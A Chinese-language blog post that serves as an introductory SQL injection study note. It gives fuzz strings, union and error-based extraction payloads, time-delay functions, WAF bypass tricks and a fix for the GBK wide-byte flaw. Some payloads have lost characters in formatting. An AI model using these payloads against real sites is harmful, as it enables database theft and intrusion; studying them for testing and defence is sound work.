SQL注入初探

7erry

SQL注入

SQL注入是一种代码注入技术。对于Web后端来说,CRUD是其主要工作内容,而这往往离不开各类数据库应用程序的参与。其中,针对MySQL,SQLServer等语法相似的关系型数据库,后端执行操作时如果对用户输入的数据过滤不充分,便可能会执行一些恶意的SQL语句,造成数据泄露或者带攻击者进入内网等后果。

SQL注入的分类

按照技巧分类SQL注入可以分为

  • 盲注
    • 布尔盲注
      • 添加AND OR语句再根据返回的数据推断语句执行后的布尔值
    • 时间盲注
      • 使用Sleep函数等特定的时间函数操控时延判断语句的执行情况
  • 报错注入
  • 堆叠注入
  • 其他

按照获取数据的方式分类

  • inband
    • 利用Web应用直接获取数据,如报错注入等,都是通过站点的相应或者错误反馈来提取数据,例如我们可以将结果写入update_XML函数中通过回显得到数据
  • inference
    • 通过Web的一些反应来推断数据,如布尔盲注等,也就是我们俗称的盲注,通过时延等Web应用的改变来推断数据
  • out of band
    • 通过其他传输方式获取数据,例如DNS解析协议和电子邮件

注入检测

常见注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

Fuzz注入点

  • ‘ or “
  • 1/1
  • 1/0
  • and 1=1
  • “ and “1” = “1”
  • and 1 = 2
  • or 1 =
  • or 1=1
  • ‘ and ‘1’ = ‘1
  • + - ^ * % /
  • << >> || | & &&
  • -
  • !
  • @
  • 反引号执行

测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

测试列数

  • order by 1 or 2 or 3 直到不返回或者报错
  • union select null , null , null 不断增加null直到不返回

报错注入

  • select 1/0
  • select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select from(select from(select user())a)b))
  • GTID_SUBSET(version(), 1)
    基于geometric的报错注入
  • GeometryCollection((select from (select from(select user())a)b))
  • polygon((select from(select from(select user())a)b))
  • multipoint((select from(select from(select user())a)b))
  • multilinestring((select from(select from(select user())a)b))
  • LINESTRING((select from(select from(select user())a)b))
  • multipolygon((select from(select from(select user())a)b))
    其中需要注意的是,基于exp函数的报错在MySQL 5.5.49后的版本已经不再生效,见 这个commit
    而基于geometric的报错注入在这个commit中被修复,同样在5.5.x后的版本不再生效

堆叠注入

  • ;select 1

注释符

  • #
  • -+
  • /xxx/
  • /!xxx/
  • /!50000xxx/

判断过滤规则

  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码

信息获取

  • 获取数据库类型
    • and exists (select * from msysobjects ) > 0 access数据库
    • and exists (select * from sysobjects ) > 0 SQLServer数据库
  • 判断数据库表
    • and exsits (select * from admin)
  • 版本、主机名、用户名、库名
    • 表和字段
      • 确定字段数
        • Order by
        • select null
    • 表名
      • union select group_concat(table_name) from information_schema.tables where table_schema=database()#
    • 表单字段
      • union select group_concat(column_name) from information_schema.columns where table_name=’’#

测试权限

  • 文件操作
    • 读敏感文件
    • 写入shell
  • 带外通道
    • 网络请求

权限提升

UDF提权

UDF(User Defined Function),用户自定义函数是MySQL提供的一个功能,可以通过编写DLL拓展为MySQL添加新函数,扩充其功能。当获得MySQL权限后,可以通过这种方式上传自定义的拓展文件,从MySQL中执行系统命令

数据库检测

  • MySQL
    • sleep
      • sleep(1)
    • benchmark
      • BENCHMARK(5000000,MD5(‘test’))
    • 字符串连接
      • SELECT ‘a’ ‘b’
      • SELECT CONCAT(‘some’,’string’)
    • Version
      • SELECT @@version
      • SELECT version()
    • 识别用函数
      • connection_id()
      • last_insert_id()
      • row_count()
  • Oracle
    • 字符串连接
      • ‘a’ || ‘oracle’ -
      • SELECT CONCAT(‘some’,’string’)
  • Version
    • SELECT banner FROM v$version
    • SELECT banner FROM v$version WHERE rownum=1
  • SQLServer
    • WAITFOR
      • WAITFOR DELAY ‘00:00:10’;
    • SERVERNAME
      • SELECT @@SERVERNAME
    • version
      • SELECT @@version
    • 字符串连接
      • SELECT ‘some’+’string’
    • 常量
      • @@pack_received
      • @@rowcount
  • PostgreSQL
    • sleep
      • pg_sleep(1)

Bypass

编码绕过

  • 大小写
  • url编码
  • html编码
  • 十六进制编码
  • unicode编码

注释

  • // - -+ – # /**/ ;%00
  • 内联注释用的更多,他有一个特性,/!**/只有MySQL才能识别
    • eg. index.php?id = -1 /!UNION/ /!SELECT/ 1,2,3
      只过滤了一次有几次时
  • 双写绕过
    • union -> uniunionon
      相同功能替换
  • 函数替换
    • substring / mid / sub
    • ascii / hex / bin
    • benchmark / sleep
  • 变量替换
    • user() / @@user
  • 符号和关键字
    • and / &
    • or / |
  • HTTP参数
    • HTTP参数污染
    • id=1&id=2&id=3根据容器不同结果不同
    • HTTP分割注入
  • 缓冲区溢出
    • 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
    • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

Tips

宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names ‘gbk’ 来设定,这句话等同于
set
character_set_connection = ‘gbk’,
character_set_result = ‘gbk’,
character_set_client = ‘gbk’;

漏洞发生的原因是执行了 set character_set_client = ‘gbk’; 之后,mysql就会认为客户端传过来的数据是gbk编码
的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names ‘gbk’ 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。
解决的办法有三种:
第一种是把client的charset设置为binary,就不会做一次解码的操作。
第二种是mysql_set_charset(‘gbk’) ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。
第三种就是用pdo。
还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

CheatSheet

SQLServerPayload
MySQLPayload
PostgresSQLPayload
OraclePayload
SQLLite3Payload

Reference

NoSQL注入的分析和缓解
NoSQL注入
SQL注入ByPass的一些小技巧
sqlmaptimebasedinject分析
SQLInjectionWiki
WafBypass之道
SQL注入绕过总结

  • Title: SQL注入初探
  • Author: 7erry
  • Created at : 2023-07-04 21:12:27
  • Updated at : 2023-07-04 21:12:27
  • Link: http://7erry.com/2023/07/04/SQL注入初探/
  • License: This work is licensed under CC BY-NC 4.0.